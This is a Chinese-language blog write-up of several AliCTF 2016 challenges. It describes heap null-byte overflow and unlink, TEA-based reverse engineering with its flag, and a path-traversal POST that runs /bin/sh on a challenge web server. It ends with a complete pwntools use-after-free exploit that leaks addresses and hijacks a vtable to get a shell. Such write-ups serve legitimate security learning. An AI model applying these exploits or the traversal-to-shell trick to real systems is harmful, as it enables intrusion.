AliCTF 2016

    上上周参加了阿里的CTF,靠着最后绝杀队伍有幸拿到了国内第一名,也顺利进入了XCTF Final。把自己做的几个题简单写了下,发出来也算个总结吧。

PWN-FB

    经典的null byte overflow加上unlink,覆盖下一个堆块SIZE字段的pre_inuse字段,free时造成后向融合,unlink时可以写msg全局管理结构(设为gl)指向&gl-3。这样通过set message就可以任意地址写,此外,将free@got修改为printf@plt,这样每次free的时候都可以泄露指定地址的内容,可以任意地址泄露。这次的题用的都是同一个libc,所以也就没用dynelf来获得system地址了。

    中间有个花絮,最初能任意地址写的时候,还想用伪造字符串表,并修改.dynamic段中.strtab的地址为伪造的字符串表的地址,来获取shell。但发现.dynamic段不可写,记得上一次做一个arm下的pwn时是可以写的,在x64下竟然不可以。

Mobile-Steady-android

整个程序都是用c++写的,没有用到java。我也没仔细看,打开so后发现做了控制流混淆,好吧,那就直接找关键函数吧,(其实,如果程序算法很复杂同时做了控制流混淆的话,我觉得基本上没人能做出来了,所以CTF中对so做控制流混淆的一般算法都不难)。

直接看到了一个flg(int, char*)的函数,进去一看,根据int的值,生成长度为12的字符串,大概就知道什么意思了,如果int值对的话,那个字符串数组就是flag了。好,直接把flg函数复制出来,并进行修改。对int设置了范围进行循环爆破,并要求求出的字符串数组在0-9a-zA-Z中,长度为12,爆出了30多个满足的字符串,我试了第4个还是第5个的时候就正确了,不得不说这是投机取巧了。

RE-DEBUG

    是一个windows的程序,父进程会调试子进程,子进程在执行的时候会遇到非法指令,这个时候父进程会对子进程的指令和数据进行处理,并让子进程继续运行。处理分别是异或0x7f和异或0x31。

子进程会要求用户输入,经过128轮TEA加密算法,然后再处理,并将结果与指定数据进行比较,如果相等的话,就会输出Good!。

TEA的密钥是父进程在子进程执行过程出异常时进行的修改,四个key分别是0x112233,0x44556677,0x8899aabb,0xccddeeff。TEA是对称加密算法,下一步就是找一个tea的程序开始解密就好,刚开始傻傻地去github上找,发现都不好用,后来在博客园找到了一个。有个坑点就是,网上的代码大部分都是32轮的,如果直接修改为128轮的话,会有问题,有个小地方需要注意下,这里就不说了。Flag就是:c6bf3d7cdad82ea712cea62cccbafddf

RE-Httpd

    这个题只给了一个地址和端口。请求过去,发现总是返回一个特定的阿里巴巴的页面。很早以前接触过文件包含,我就尝试着去试了下,真的可以!!如下图:

    但是我尝试直接包含flag,发现并没有成功,这样的话,应该是flag被藏起来了。

    下一步,继续通过文件包含把/home/httpd/httpd给读了出来,这样的话就有二进制文件了。接下来就是对二进制文件进行分析。分析后,如果是post请求过去,服务器会进行特殊的处理,如果POST /../../../../../../../../../bin/sh的话,服务器会启动执行/bin/sh,并把post过去的数据当作命令执行,并返回结果。这样的话,就可以任意指令执行了。这些都是本地调试后发现的。

    定位flag文件位置的过程也挺有趣的,

flag藏在/home/httpd/httpd/ALICTF{you_know_flag_huh?}/ _______________/flag下,怪不得直接文件包含不到。

Routers

    是一个UAF的洞,通过泄露虚表地址泄露主程序模块,通过泄露top_chunk的值获得堆的地址,通过magic gadget获得shell,有时候magic gadget还是很好用的。

from pwn import *
#context.log_level='debug'
#by wah
r = remote('127.0.0.1',10001)
exe = 'routers'
def getpid():
    pid= pwnlib.util.proc.pidof(exe)
    print pid
    raw_input('go!')
def new_router(r,name='111'):
    r.recvuntil('> ')
    r.sendline('create router')
    r.recvuntil('(tplink/hiwifi/cisco): ')
    r.sendline('cisco')
    r.recvuntil('router name: ')
    r.sendline(name)
def new_terminal(r,tname='111',rname='222'):
    r.recvuntil('> ')
    r.sendline('create terminal')
    r.recvuntil('you want to attach: ')
    r.sendline(rname)
    r.recvuntil('(windows/linux/osx): ')
    r.sendline('linux')
    r.recvuntil('terminal name: ')
    r.sendline(tname)
def connect(r,r1,r2):
    r.recvuntil('> ')
    r.sendline('connect')
    r.recvuntil('you want to be client: ')
    r.sendline(r1)
    r.recvuntil('you want to be server: ')
    r.sendline(r2)
def disconnect(r,r1):
    r.recvuntil('> ')
    r.sendline('disconnect')
    r.recvuntil('you want to disconnect: ')
    r.sendline(r1)
def del_router(r,r1):
    r.recvuntil('> ')
    r.sendline('delete router')
    r.recvuntil('you want to delete: ')
    r.sendline(r1)
def getexebase(r):
    r.recvuntil('> ')
    r.sendline('show')
    r.recvuntil("I'm connected to ")
    data = r.recvuntil('x0a')[:-1]
    data = data + (8-len(data))*'x00' 
    exebase = u64(data) - 0x204B30
    print hex(exebase)
    return exebase
def show(r):
    r.recvuntil('> ')
    r.sendline('show')
def leak(addr):
    global r
    name = 'a'*8 + p64(addr) + 'a'*16
    new_router(r,name)
    show(r)
    r.recvuntil("I'm connected to ")
    data = r.recvuntil('x0a')[:-1]
    data = data + (8-len(data))*'x00' 
    func = u64(data)
    print hex(func)
    del_router(r,name)
    return func

new_router(r,'1') #router 1
new_router(r,'2') #router 2
new_router(r,'3') #router 3
getpid()

connect(r,'1','2')
connect(r,'2','3')
del_router(r,'2')
new_terminal(r,'22','3')    
exebase=getexebase(r)
del_router(r,'3')

setvbuf_got = 0x204EC8+exebase
strlen_got = 0x204EF0+exebase

setvbuf = leak(setvbuf_got)
strlen = leak(strlen_got)
main_arena = setvbuf - 0x6C0A0 + 0x3A5620
#print hex(main_arena+89)
top_chunk = leak(main_arena+89)
top_chunk = top_chunk<<8
print hex(top_chunk)

vtable = top_chunk - 0xa0 + 0x18
magic_gadget = setvbuf - 0x6C0A0 + 0x41374
name = p64(vtable) + p64(magic_gadget)*3
new_router(r,name)
disconnect(r,'1')
r.interactive()

r.close()
View Code
原文地址:https://www.cnblogs.com/wangaohui/p/5583102.html